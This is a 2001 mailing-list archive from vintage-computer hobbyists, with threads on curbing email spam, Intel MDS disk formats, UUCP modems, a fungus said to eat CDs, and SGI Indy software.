them on call detail recorders for > commercial phone switches. > > > On Wed, 20 Jun 2001, Marvin wrote: > > > > > I have no idea what this software package is, but it consists of two IBM 5 > > 1/4" floppy disks: Dos Support Programs and DOS Support User's Guide. There > > is also a 3 1/2" floppy titled "DOS Support User's Guide." The description > > on the front of this package says "A productivity aid providing installation > > and necessary information to interface DOS software/firmware with the > > Realtime Interface Co-Processor." The proof of license is also included > > along with an instruction/warrenty booklet. > > > > First $3.50 for Priority Mail takes it. > > > > -- > From edick at idcomm.com Thu Jun 21 10:05:17 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:39 2005 Subject: Wave of the Future (Spam) References: <4.3.2.7.0.20010620083121.0205dd20@pc> Message-ID: <001b01c0fa63$94fba540$9cc762d8@idcomm.com> plz see embedded comments below Dick ----- Original Message ----- From: "John Foust" To: Sent: Wednesday, June 20, 2001 7:40 AM Subject: Re: Wave of the Future (Spam) > At 06:25 PM 6/19/01 -0600, Richard Erlacher wrote: > >I'm not sure why this continues to be the problem that it is. I agree that SPAM > >is terribly annoying, but can't comprehend why it can't be dealt with from the > >INSIDE, i.e. simply rewrite the SMTP/POP protocol rules such that mail only > >allows a single addressee, and that any server that sees more than one destinee, > >either in the "to" field or the CC field, it simply pitches it in the bit > >bucket. > >If I ever want to send several people the same email, which I've not yet done, > >after about 10 years of internetting, I'd simply write a script to do that. > > And what about the 99.99% of Internet (read: Windows) users who > liked that "send to two people" feature of Outlook? You expect > them to write scripts? What about all the BCC: mail that gets > sent that doesn't have N addresses in the headers? Gee, if we > limited the size and number of e-mails you could send, that would > help reduce bandwidth, too. Slower computers would be a great > deterrent, too. > I'm not convinced any more than 1 part in 10E23 of the user of OUTLOOK/OUTLOOK EXPRESS even know about that feature. However, if we're going to preseve the bandwidth so we can have "free" internet for any more than a few more years, we're going to have to give up something. Disposing of the mechanism that allows SPAMmers to send a single email to a downstream server with the full expectation that the server, outside his own domain, will distribute the mail at no cost to him, will quickly quell the vast increase of unsolicited email. I'm curious why you're taking a position favoring SPAMmers? I have nothing against them. They're just using a facility that's avaiable to them. I view their unpaid consumption of bandwidth as a theft of bandwidth from the users who pay for what they waste with their SPAM, however, though they make their money that way, so they don't see it as waste. Things that provide benefit to some should be paid for by the ones who reap the benefit, and proportionally (but perhaps not in linear proportion) to how much they use. Likewise, I think it's unfair that users of passenger vehicles that don't wear the roadways much at all pay more tax per pound of gross-vehicle-weight than the owners of the huge semi-tractor-trailer rigs that permanently alter the roadway in only one pass over it. Likewise, as the folks in California will probably consider, the usage of MORE electrical power should not be discounted. If you use what a small household uses, you should get the minimal rate. If you use, 5x what the typical small household uses, you should pay 5x what that household uses, i.e. 5x the amount per kWH, and if you use 1000x kWH's, then you should pay 1000x the amount, per kWH that the small household has to pay. It all gets passed to the end user of the products and services that would be increased in cost. Maybe that would get some folks to turn off the TV and air-conditioning once in a while. > > >THERE HAS GOT TO BE ACCOUNTABILITY on the internet. If your name, and home > >address were in every message you send, you would probably not send unsolicited > >email. > > If such a rule were in place, I'm sure there are millions of companies > who'd gladly send spam that conformed. In the paper world, it's called > "junk mail" and it seems to be quite popular. In the e-mail world, at > least half the junk I get does have reasonable attribution to the source. > The "problem" with spam is that it apparently works for some scams, > and that there's plenty of people willing to try it. > Junk mail is an annoyance we've all come to put up with in the snail mail. It's not necessarily a bad thing, though nobody loves to get mail that doesn't do anything for them. Of course, we do put up with bills, and we surely don't want them. Addidionally, it's well to consider that while internet SPAM is unpaid junk mail, the stuff in the snail mail is paid-for, though at a deeply discounted rate. Ol' Ben Franklin made would have approved, though, as it does promote commerce, and because he was a printer. What annoys me is that wasted bandwidth, whether it's for sending cartoons to all your friends or sending billions of ads for improved widgets, consumes bandwidth that will ultimately result in the rest of us, who don't benefit from the advertising, having to pay for mail by the bit. The choice of who should get the money that the advertisers should pay is easy, though. It should go to the folks who receive, and, ultimately, will have to pay for, the SPAM. Bulk mail should be tarriffed at a rate on the order of $1 per item. If you send a SPAM to a billion destinations, you should have to pay the billion bucks up front, just like the junk-mail senders pay to the Post Office. You can bet the P.O. doesn't wait to see whether the business survives before exacting its fee. Yup, it should be the senders that pay for email, and since they consume bandwidth that, ultimately, is paid for by the recipients, it should be paid to the recipients, who, after all, support the system by paying for their access facility. > > - John > > From chomko at greenbelt.com Thu Jun 21 09:59:38 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:39 2005 Subject: Wave of the Future (Spam) References: <4.3.2.7.0.20010620083121.0205dd20@pc> Message-ID: <3B320BDA.D4B9CF11@greenbelt.com> John Foust wrote: > At 06:25 PM 6/19/01 -0600, Richard Erlacher wrote: > [...] > > >THERE HAS GOT TO BE ACCOUNTABILITY on the internet. If your name, and home > >address were in every message you send, you would probably not send unsolicited > >email. > > If such a rule were in place, I'm sure there are millions of companies > who'd gladly send spam that conformed. In the paper world, it's called > "junk mail" and it seems to be quite popular. In the e-mail world, at > least half the junk I get does have reasonable attribution to the source. > The "problem" with spam is that it apparently works for some scams, > and that there's plenty of people willing to try it. > Yeah, I remember the good ole days when a person would send out SPAM and more that a dozen people would chastise them for it. The guilty party would then sheepishly apologize and that would be that. Then all the sudden one day (mid 90s) more than one spammer hit all over and no one could keep up. More started coming and then more and here we are today. I delete it even if the item seems interesting. If really interested I find the competitor and then buy their product. :) Eric > > - John From rigdonj at intellistar.net Thu Jun 21 10:12:21 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:39 2005 Subject: Question about Intel disk formats In-Reply-To: Message-ID: <5.1.0.14.1.20010621110130.01d6ed80@mailhost.intellistar.net> Sellam, I'm a bit rusty on my Intels but I *think* the original MDS 200 machines used single sided and single density. However they could be upgraded to DS-SD and/or DS-DD. So your disks could be any of several different formats. My 235 has the DS-DD upgrade and I'm running ISIS-II. It's still set up and it was running the last time I tried it a couple of years ago. If you want to sent your disks to me I'll see what I can find out about them. I was going to E-mail you about something else. After getting this MDS-800, I realized that some of the bits and peices that I saw at a scrapper's are part of an 800. There's not much left of it except the housing but you mentioned that some of the case parts on yours were missing/damaged. If you'll sent me a list of what you need, I'll see if I can find it in the pile. I think the floppy drives are still in the box but they're almost certainly 801s. Joe At 08:31 PM 6/20/01 -0700, you wrote: >I've got some 8" disks that are apparently double density (the >manufacturer label says so). I thought they were Intel ISIS formatted >disks (which Eric Smith said would make them M2FM and uncompatible with >anything other than an Intel MDS development machine) but I'm not so sure, >since I can't seem to access any on the two Intel MDS systems I have set >up. > >Both machines have Shugart 801 drives in them, and after doing some web >research, I've come to find out they are single-density only. This would >probably explain why I am not able to access these disks on these >machines. > >The disks I am trying to access are supposedly CP/M, but the labelling >indicates they were perhaps used on an Intel development system (they have >filenames on the label with ".HEX" file types; this may not mean >anything). If this is the case, and they were formatted on an Intel MDS >(and therefore M2FM), and since they are double-density, then I may not be >able to read them with the machines I have. > >However, I want to check their format on some CP/M machine and see if >perhaps I can read them. If so, then they are probably more standard DD >formatted diskettes, maybe even CP/M since that is what I was told they >are. > >If they are in a standard DD format, and I have a computer that can boot a >DD CP/M system master, could I then pop these disks in the drive and do a >DIR to see if I get a directory? > >For those who've used these before: when I put any of the disks in >question in the drive, the drive seems to seek for a few seconds, then >goes off for a split second, back on again for half a second, then off >(and the system crashes). The normal boot sequence for a (single density) >system disk is, upon reboot the disk seeks for a few seconds, then stops >for a split second, then starts seeking/reading for a few more seconds and >the ISIS prompt comes up. > >It seems the system is trying to read the double density disks and just >not seeing anything intelligible and crashes. With single density >non-system diskettes, the machines will come up with something like "NOT A >SYSTEM DISK". > >Suggestions appreciated. > >Sellam Ismail Vintage Computer Festival >------------------------------------------------------------------------------ >International Man of Intrigue and Danger http://www.vintage.org From rigdonj at intellistar.net Thu Jun 21 10:14:42 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:39 2005 Subject: IBM Realtime Co-Processor DOS Support V 1.02 In-Reply-To: <3B31944A.32CD7985@rain.org> References: Message-ID: <5.1.0.14.1.20010621111343.01d70bf0@mailhost.intellistar.net> Marvin, That sounds like it muight be for the Action Media video card. If it is, then I can use it. I have one of those cards. Joe At 11:29 PM 6/20/01 -0700, you wrote: >I have no idea what this software package is, but it consists of two IBM 5 >1/4" floppy disks: Dos Support Programs and DOS Support User's Guide. There >is also a 3 1/2" floppy titled "DOS Support User's Guide." The description >on the front of this package says "A productivity aid providing installation >and necessary information to interface DOS software/firmware with the >Realtime Interface Co-Processor." The proof of license is also included >along with an instruction/warrenty booklet. > >First $3.50 for Priority Mail takes it. From rigdonj at intellistar.net Thu Jun 21 10:19:08 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:39 2005 Subject: O/T Spark Gap Transmitters was: Interest in UUCP? In-Reply-To: References: <3B316DE9.66CFB17E@home.com> Message-ID: <5.1.0.14.1.20010621111811.01d73110@mailhost.intellistar.net> At 12:44 AM 6/21/01 -0400, you wrote: > My jacob's ladder is by far more interesting to look at than any >two bit lava lamp. Yeah, I'll bet your neighbors love watching it on their TVs too! :-) Joe > From edick at idcomm.com Thu Jun 21 10:22:14 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:39 2005 Subject: Wave of the Future (Spam) References: Message-ID: <002501c0fa65$f37d7420$9cc762d8@idcomm.com> plz see embedded remarks below. Dick ----- Original Message ----- From: "Fred Cisin (XenoSoft)" To: Sent: Wednesday, June 20, 2001 11:02 AM Subject: Re: Wave of the Future (Spam) > > At 06:25 PM 6/19/01 -0600, Richard Erlacher wrote: > > >I'm not sure why this continues to be the problem that it is. I agree that SPAM > > >is terribly annoying, but can't comprehend why it can't be dealt with from the > > >INSIDE, i.e. simply rewrite the SMTP/POP protocol rules such that mail only > > >allows a single addressee, and that any server that sees more than one destinee, > > >either in the "to" field or the CC field, it simply pitches it in the bit > > >bucket. > > >If I ever want to send several people the same email, which I've not yet done, > > >after about 10 years of internetting, I'd simply write a script to do that. > > Any software that would block sending SPAM would also prevent the > operation of list-servers, SUCH AS THIS ONE. Conversely, when any > system is implemented, what would prevent a spammer from using a copy of > majordomo and involuntarily subscribing everyone to his spam mailing list? > That might work once. However, I find that most of the SPAM I see has spoofed IP addresses, either from a server that serves as a shield for spammers or from the sender. Oddly enough, the big email servers, e.g. Yahoo, MSN, Hotmail, etc, don't even filter out mail that's spoofed from THEIR domain. Moreover, I find that I get SPAM from what appears to be a single source, yet it has several different source addresses, none of which can be verified. > > BTW, MOST of the SPAM that I receive does NOT show more than one address > in the header by the time that it gets here. Perhaps some of the SPAM is > being done with a script just like the one that Richard would write? > I think that we can assume that Richard has not been writing scripts for > them. > I'm not assuming that SPAM is a terrible thing. I just think it should be paid for by the originator in proportion to the ultimate bandwidth consumed by its transmission, and that it should be traceable to its source. Now, junk snail-mail isn't easily traceable to its sender, though its originator is generally discernable. Maybe the anonymous sorts of mail should be charged for, say, at $1 per k-bit, if someone really needs to have 'em. I just don't want to pay for the cost of someone else's wastefulness. > > While I do not claim to know what is CURRENTLY being done, it would > certainly be trivial for a program to generate millions of messages, where > each one enters the mail system as a seperate message. > I get junk mail with just my email address on it, too. Much of the SPAM I get, however, has dozens of addressees, however. I'm not an expert in internet technology, sadly, so I can't address, with authority, how one might practically solve the SPAM problem. Many industry leaders don't seem to view it as a problem. Perhaps it's already in a category that they can charge for, so it's just another revenue source for them. I process some 100+ emails, not counting mailing list traffic, every day. Spam is a nuissance, but only because it's inconvenient to delete it. I suppose, the mail could be filtered such that only the items for whic the sender is traceable, say, with FINGER, or some other tool, but I haven't done that ...YET. > -- > Grumpy Ol' Fred cisin@xenosoft.com > > From edick at idcomm.com Thu Jun 21 10:52:58 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:39 2005 Subject: Wave of the Future (Spam) References: <01Jun20.134457edt.119041@gateway.mediacen.navy.mil> Message-ID: <005101c0fa6a$4af32520$9cc762d8@idcomm.com> THAT's why we need absolute traceability. Some sort of tunnelling-proof encapsulation, perhaps with server-to-server encryption that guards against spoofing. Nothing's perfect, though, and there's no way to make sure somebody can't corrupt a scheme. There is a way to stop/impede this sort of thing. It's just got to become important enough for someone to make the investment to do it. Perhaps it's necessary to block the domain from which a mail with an invalid address comes, thereby making it the domain owner's problem eliminating the originator from his domain, passing the block upstream until everybody in the spurious source path is blocked, thereby forcing them to eliminate the offender. Of course, if this were simple, someone would already have done it. Dick ----- Original Message ----- From: "Jeff Hellige" To: Sent: Wednesday, June 20, 2001 11:44 AM Subject: Re: Wave of the Future (Spam) > > The ones that really piss me off are the ones that arrive showing my > name in the FROM: block > > Jeff > > From edick at idcomm.com Thu Jun 21 11:06:02 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:39 2005 Subject: Wave of the Future (Spam) References: Message-ID: <006101c0fa6c$120b0d20$9cc762d8@idcomm.com> I agree with Tony here, in that there has to be a valid application for the features of email that so many SPAMmers have exploited. However, if you want to do away with bulk email, something's got to be done. This means somebody, somewhere, will lose. Perhaps, if unsolicited bulk mailings were just easier to recognize ... One of the underlying facts in the way things have developed is that much of this technology was developed in the U.S. where things simply aren't done much if they're not simple and economical. Unfortunately, while simple methods are easier to make and prove reliable they're not always the "right" way to do things. I'd expect that application of some eastern European methodology, based on the notion that if one guy spends enough man-decades working on something tremendously complicated, but consistent and clean because there have been few committees or meetings required to get the job done, will yield a difficult-to-defeat mail tracing scheme. Unfortunately, it's like curing some diseases ... the money's in the treatment of the ailment, not in the cure/prevention. Who's to pay for this? The guys who might pay, presently, benefit from it as is. I don't find the SPAM so offensive that it interferes with productivity by much, and even I have found a good source once or twice by reading SPAM. Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Wednesday, June 20, 2001 12:34 PM Subject: Re: Wave of the Future (Spam) > > > > I'm not sure why this continues to be the problem that it is. I agree that SPAM > > is terribly annoying, but can't comprehend why it can't be dealt with from the > > INSIDE, i.e. simply rewrite the SMTP/POP protocol rules such that mail only > > allows a single addressee, and that any server that sees more than one destinee, > > either in the "to" field or the CC field, it simply pitches it in the bit > > bucket. Spammers love the current situation, because their own bandwidth isn't > > even consumed by the wide distribution of some bit of nonsense advertising. > > > > If I ever want to send several people the same email, which I've not yet done, > > after about 10 years of internetting, I'd simply write a script to do that. > > I think this is a pretty daft idea... > > I often _do_ want to send the same e-mail to several people. Not as SPAM > (of course), but people who share a mutual interest in something (perhaps > we're arranging a time for a meeting, perhaps we're discussing some > repair methods for a classic computer, etc). It's not worth setting up a > proper mailing list for this of course. > > So I send out the message with multiple addresses in the To: field. > People reply using the Group Reply feature of their mailers (heck, even > my anceint version of elm has that...) so we all know what is going on, > and so a discussion can be maintained. > > Now, it's certainly not beyond me to write a script to send the same > message times to the people (but of course that increases the > amount of outgoing data from my machine to the mail machine at my isp). > But then I'd have to start each message with a line of the form > 'Please send all replys to me, and and and and...' You > can bet some people wouldn't manage to do that. > > Sorry, I'd rather stick with the current system. Yes, I get spam, but > that seems better than being unable to use e-mail in a useful way. > > FWIW, I have never sent an anonymous message, or posted anywhere (usenet, > web discussion forums (fora?), etc) with a mangled e-mail address (at > least not deliberately -- I might have mistyped it sometimes, I guess). I > don't get _that_ much spam.... > > > > > The fact that the internet community or its governing bodies haven't figured > > this out is a symptom of the fact that they WANT people to be able to SPAM > > anonymously. At the risk of offending the purists, I'd say it's up to us to get > > A lot of the internet (and for that matter unix) is based on the idea > that we don't prevent people doing silly things (like spamming) because > that would also prevent them doing useful things (like setting up trivial > 'mailing lists'). Of course I am also fully in favour of punishing those > who act in a stupid way (I would like to suggest that the penalty for > spamming should be being lowered into a pot of molten solder, feet first!). > > -tony > > From edick at idcomm.com Thu Jun 21 11:08:58 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:39 2005 Subject: O/T Spark Gap Transmitters was: Interest in UUCP? References: <3B316DE9.66CFB17E@home.com> <5.1.0.14.1.20010621111811.01d73110@mailhost.intellistar.net> Message-ID: <007101c0fa6c$7ab57c20$9cc762d8@idcomm.com> While I find Jacob's Ladders and lava lamps about equally interesting, (at about 6.23 E-23 on a scale from 0..9) they're more interesting to me than most TV ... Dick ----- Original Message ----- From: "joe" To: Sent: Thursday, June 21, 2001 9:19 AM Subject: Re: O/T Spark Gap Transmitters was: Interest in UUCP? > At 12:44 AM 6/21/01 -0400, you wrote: > > My jacob's ladder is by far more interesting to look at than any > >two bit lava lamp. > > > Yeah, I'll bet your neighbors love watching it on their TVs too! :-) > > Joe > > > > > > > > > From ljcst18+ at pitt.edu Thu Jun 21 11:23:05 2001 From: ljcst18+ at pitt.edu (luke) Date: Sun Feb 27 19:04:39 2005 Subject: O/T Spark Gap Transmitters was: Interest in UUCP? In-Reply-To: <5.1.0.14.1.20010621111811.01d73110@mailhost.intellistar.net> Message-ID: <988739981.993126185@coelabs11.ee.pitt.edu> Yeah and bass playing roomate yells at me when I have it on and he is plugged in. Pop!! zzzappp!! --On Thursday, June 21, 2001, 11:19 AM -0400 joe wrote:r > At 12:44 AM 6/21/01 -0400, you wrote: >> My jacob's ladder is by far more interesting to look at than any >> two bit lava lamp. > > > Yeah, I'll bet your neighbors love watching it on their TVs too! :-) > > Joe > > > > > >> > From foo at siconic.com Thu Jun 21 10:38:20 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:39 2005 Subject: Wave of the Future (Spam) In-Reply-To: <005101c0fa6a$4af32520$9cc762d8@idcomm.com> Message-ID: On Thu, 21 Jun 2001, Richard Erlacher wrote: > There is a way to stop/impede this sort of thing. It's just got to become > important enough for someone to make the investment to do it. Perhaps it's What we really need is a law that says anyone caught spamming will be fined $10,000 per message sent. Then wait for the first sucker to get caught, make an extreme example out of the asshole, repeat a few times, and that's that. Problem solved. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From steven_j_robertson at hotmail.com Thu Jun 21 11:41:40 2001 From: steven_j_robertson at hotmail.com (Steve Robertson) Date: Sun Feb 27 19:04:39 2005 Subject: Wave of the Future (Spam) Message-ID: > >I agree with Tony here, in that there has to be a valid application for the >features of email that so many SPAMmers have exploited. However, if you >want to do away with bulk email, something's got to be done. This means >somebody, somewhere, will lose. Perhaps, if unsolicited bulk mailings were >just easier to recognize ... Since I can't keep SPAM out of my (snail) mailbox and I can't keep SPAM off of my phone (unsolicited calls), I really don't have any expectations about keeping it out of my email. With the costs being so low, I'm surprised we (Internet users) don't get a whole lot more SPAM. SteveRob _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From ab at lists.gxis.de Thu Jun 21 11:48:53 2001 From: ab at lists.gxis.de (Alexander Bochmann) Date: Sun Feb 27 19:04:39 2005 Subject: CD Eating Fungus? In-Reply-To: <20010620010646.10298.qmail@mail.seefried.com>; from ken@seefried.com on Wed, Jun 20, 2001 at 01:06:46AM +0000 References: <200106200052.TAA82543@opal.tseinc.com> <20010620010646.10298.qmail@mail.seefried.com> Message-ID: <20010621184853.Y29785@gxis.de> ...on Wed, Jun 20, 2001 at 01:06:46AM +0000, Ken Seefried wrote: > Oh, come now people. There's no metabolic process that makes aluminum into > food. Undoubtedly, these fungi are eating something organic (glue?) and > producing an acid that is destroying the metalic layer. The news article does not say that the fungus is going for the aluminium, by the way. It says, the fungus destroys the polycarbonate because it feeds on the nitrogen and carbon, if the environment is suitable ( > 30 degrees celsius temperature, > 90% relative humidity), thereby destroying the information stored in the aluminium layer. The original article (in spanish) is at http://www.cienciadigital.net/junio2001/fnoticia_cd.html Babelfish produces sort of an understandable translation. Alex. From mikeford at socal.rr.com Thu Jun 21 11:50:26 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:39 2005 Subject: UUCP and Netnews In-Reply-To: <200106210211.f5L2Bc015450@bg-tc-ppp705.monmouth.com> References: from Jeff Hellige at "Jun 20, 2001 06:17:44 pm" Message-ID: >I've got a couple of 'em T1000's, T1500, and a T2500. >They'll do uucp over dixie cups and damp string. Anybody actually try a link using Dixie cups and string (or thread) via acoustic couplers etc.? From mikeford at socal.rr.com Thu Jun 21 11:32:46 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:39 2005 Subject: UUCP and Netnews In-Reply-To: References: Message-ID: >>connection... a lot less than it was back in the days of Trailblazer >>modems or earlier. Isn't there some very inexpensive calling plan now > > I still have one of the Telebit Trailblazer's around here >somewhere. A T1000 I believe. I have three of them brand new in the plastic wrap. Worldblazers I think. From marvin at rain.org Thu Jun 21 12:04:32 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:39 2005 Subject: UUCP and Netnews References: from Jeff Hellige at "Jun 20, 2001 06:17:44 pm" Message-ID: <3B322920.B095C250@rain.org> Mike Ford wrote: > > >I've got a couple of 'em T1000's, T1500, and a T2500. > >They'll do uucp over dixie cups and damp string. > > Anybody actually try a link using Dixie cups and string (or thread) via > acoustic couplers etc.? A friend of mine used 2 Dixie cups connected by a string with the appropriate couplers and was able to send SSTV (Slow Scan TV) images from one unit to the other over that setup. He got written up in QST for that one!!! From cmcmanis at mcmanis.com Thu Jun 21 12:10:54 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:39 2005 Subject: Wave of the Future (Spam) In-Reply-To: <3B320BDA.D4B9CF11@greenbelt.com> References: <4.3.2.7.0.20010620083121.0205dd20@pc> Message-ID: <5.0.0.25.2.20010621100707.025e9260@209.185.79.193> At 10:59 AM 6/21/01 -0400, Eric wrote: >Yeah, I remember the good ole days when a person would send out SPAM >and more that a dozen people would chastise them for it. The guilty party >would then sheepishly apologize and that would be that. Then all the sudden >one day (mid 90s) more than one spammer hit all over and no one could >keep up. Actually, prior to 1990 when ARPANet, nee NSFNet, was carrying the traffic and it was still under the auspices of the NSF, it was against policy for the net to be used for "commercial" purposes. People who tried had their network connections severed. Then the backbone was transferred to commercial enterprises (UUNet, MCI, Sprint, etc) and they had no such policy in place. And as we've seen they have even _agreed_ to allow spammers to send their mail and advertisements (do a search on 'pink sheet' and 'spam' on google some time) It was all over at that point. --Chuck From pete at dunnington.u-net.com Thu Jun 21 02:23:37 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:39 2005 Subject: SGI Indy In-Reply-To: Netdiablo "Re: SGI Indy" (Jun 21, 2:53) References: <3B31619C.FEB96ED6@diablonet.net> Message-ID: <10106210823.ZM1114@mindy.dunnington.u-net.com> On Jun 21, 2:53, Netdiablo wrote: > * Make sure that it includes support for the Indy (older distributions > didn't). This is often labeled "IRIX 5.3 for Indy R4400" or something > like that. All versions of 5.3 support Indys. Some versions of 5.2 may not (I'm not sure about that). There is one version of 5.3 that won't *boot* on an R3000 Indigo, but that one will still install if you boot from a diferent version. -- Pete Peter Turnbull Network Manager University of York From bill at cs.scranton.edu Thu Jun 21 12:17:01 2001 From: bill at cs.scranton.edu (Bill Gunshannon) Date: Sun Feb 27 19:04:39 2005 Subject: CD Eating Fungus? In-Reply-To: <3B31BE62.D9D95A6@internet1.net> Message-ID: On Thu, 21 Jun 2001, Chad Fernandez wrote: > Never played them backwards, but I try them upside down from time to > time :-) > > Fred Cisin (XenoSoft) wrote: > > In the meantime, this list has been putting a lot of effort into trying to > > come up with ways that what is apparently an urban legend COULD POSSIBLY > > be true. Has anyone tried playing them backwards? > > I thought compared to vinyl all CD's played backwards!! :-) bill -- Bill Gunshannon | de-moc-ra-cy (di mok' ra see) n. Three wolves bill@cs.scranton.edu | and a sheep voting on what's for dinner. University of Scranton | Scranton, Pennsylvania | #include From spectre at stockholm.ptloma.edu Thu Jun 21 12:20:32 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:39 2005 Subject: Wave of the Future (Spam) In-Reply-To: from Steve Robertson at "Jun 21, 1 12:41:40 pm" Message-ID: <200106211720.KAA12022@stockholm.ptloma.edu> > Since I can't keep SPAM out of my (snail) mailbox and I can't keep SPAM off > of my phone (unsolicited calls), I really don't have any expectations about > keeping it out of my email. > With the costs being so low, I'm surprised we (Internet users) don't get a > whole lot more SPAM. Post a lot to usenet, or have your address out on the web, and you will. The Mailhole, a program I wrote as an active spam filter, repulses about 100 messages a week, and I'm hardly a big target. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Honesty is the best policy, but insanity is a better defense. -------------- From vance at ikickass.org Thu Jun 21 12:25:36 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:39 2005 Subject: UUCP and Netnews In-Reply-To: Message-ID: If someone does, I wanna watch 8-) Peace... Sridhar On Thu, 21 Jun 2001, Mike Ford wrote: > >I've got a couple of 'em T1000's, T1500, and a T2500. > >They'll do uucp over dixie cups and damp string. > > Anybody actually try a link using Dixie cups and string (or thread) via > acoustic couplers etc.? > > From cisin at xenosoft.com Thu Jun 21 12:40:50 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:39 2005 Subject: Wave of the Future (Spam) In-Reply-To: <5.0.0.25.2.20010621100707.025e9260@209.185.79.193> Message-ID: Approaches such as limiting the number of addressees would kill mailing lists with little or no effect on spammers. Approaches such as billing for number of outgoing items won't work without cooperation from spammers (yeah, right.) How many spammers need to turn up dead to serve as a deterrent to those conteplating doing it? How many spammers need to turn up dead to reduce their population to a managable level? From allain at panix.com Thu Jun 21 12:42:53 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:39 2005 Subject: SDK for Windows 1.04?? References: <497A9E0467D2D2119B760090271EB8E5879A77@MAIL10> Message-ID: <004b01c0fa79$99745a20$8a0101ac@ibm23xhr06> From: Cini, Richard > most of the functions in the DOS Shell code (MSDOS.exe > and MSDOSD.exe) are referenced by ordinal number Early (most?) DOS techinical reference manuals listed function calls by numbers, E.G. 10H = Close file. 01H = Keyboard input, etc. Could this be it? John A. From bdc at world.std.com Thu Jun 21 12:55:49 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) In-Reply-To: <001b01c0fa63$94fba540$9cc762d8@idcomm.com> Message-ID: On Thu, 21 Jun 2001, Richard Erlacher wrote: > I'm not convinced any more than 1 part in 10E23 of the user of > OUTLOOK/OUTLOOK EXPRESS even know about that feature. However, if > we're going to preseve the bandwidth so we can have "free" internet > for any more than a few more years, we're going to have to give up > something. Well, I guess that all depends on whether the curve of Moore's Law can out pace the spammers. I don't see major issues with the net being over congested with spam. It's an annoyance getting spam in your mailbox, but I'd imagine there are other things aside from spam more significantly impacting network performance. > Disposing of the mechanism that allows SPAMmers to send a > single email to a downstream server with the full expectation that the > server, outside his own domain, will distribute the mail at no cost to > him, will quickly quell the vast increase of unsolicited email. I do think that outlawing the "Cc" or "Bcc" mechanism's in e-mail is a bit of an extreme / kind of "out there" suggestion. I really just don't ever see that happening. And as someone else already pointed out, there's nothing to prevent spammers from generating lists of e-mail addresses and then just writing a script to spam each user individually. Which actually just makes things a lot worse. Sendmail, and I imagine other mail servers, try to be smart about routing e-mail. If there's a "Cc" line with multiple users at the same site, then sendmail only send's a single copy of the message to that site. That site's MTA then breaks the message into individual copies for the individual users. By allowing for only one user to be a recipient, and forcing spammers to send individual messages, you're undermining sendmail's ability to intelligently route traffic--and probably amplying the overall mail traffic going across the internet by a significant factor. And even if the spammer isn't clueful enough to write a script, there's nothing to prevent spam marketing companies to provide this mechanism for them, or for that matter, they could just set up a mailing list for their spammer customers to use. > I'm curious why you're taking a position favoring SPAMmers? I have > nothing against them. They're just using a facility that's avaiable > to them. I view their unpaid consumption of bandwidth as a theft of > bandwidth from the users who pay for what they waste with their SPAM, > however, though they make their money that way, so they don't see it > as waste. > > [...] I think my main point would be that your suggested fix doesn't actually eliminate the problem, and that it would likely actually make the amount of wasted bandwidth increase while also inconveniencing legitimate users who're accustomed to Cc'ing multiple people. > Things that provide benefit to some should be paid for by the ones who > reap the benefit, and proportionally (but perhaps not in linear > proportion) to how much they use. Likewise, I think it's unfair that > users of passenger vehicles that don't wear the roadways much at all > pay more tax per pound of gross-vehicle-weight than the owners of the > huge semi-tractor-trailer rigs that permanently alter the roadway in > only one pass over it. Don't toll roads work like this? Bigger trucks have to go through different toll booths than passenger vehicles. > Likewise, as the folks in California will probably consider, the usage > of MORE electrical power should not be discounted. If you use what a > small household uses, you should get the minimal rate. If you use, 5x > what the typical small household uses, you should pay 5x what that > household uses, i.e. 5x the amount per kWH, and if you use 1000x > kWH's, then you should pay 1000x the amount, per kWH that the small > household has to pay. It all gets passed to the end user of the > products and services that would be increased in cost. Maybe that > would get some folks to turn off the TV and air-conditioning once in a > while. > > [...] Well, even at a flat rate per kWH, the people using the most do actually pay the most. 10 kWH at $1/hr is $10, 50 kWH at $1/hr is $50. This is probably the most fair arrangement. From what I rememeber living in California from 1996-2000, the electric utilities there charged you a certain rate per kWH used under some fixed limit for a household. If you went beyond that limit, they did increase the rate (not discount it), penalizing heavy/wasteful electricity users. -brian. From vance at ikickass.org Thu Jun 21 13:03:48 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) In-Reply-To: Message-ID: Responses Inline: On Thu, 21 Jun 2001, Fred Cisin (XenoSoft) wrote: > Approaches such as limiting the number of addressees would kill mailing > lists with little or no effect on spammers. There are ways around this problem. > Approaches such as billing for number of outgoing items won't work without > cooperation from spammers (yeah, right.) Agreed. > How many spammers need to turn up dead to serve as a deterrent to those > conteplating doing it? Lots. The one constant in the universe is idiocy. > How many spammers need to turn up dead to reduce their population to a > managable level? Lots. There are THAT many spammers. Peace... Sridhar From jss at ou.edu Thu 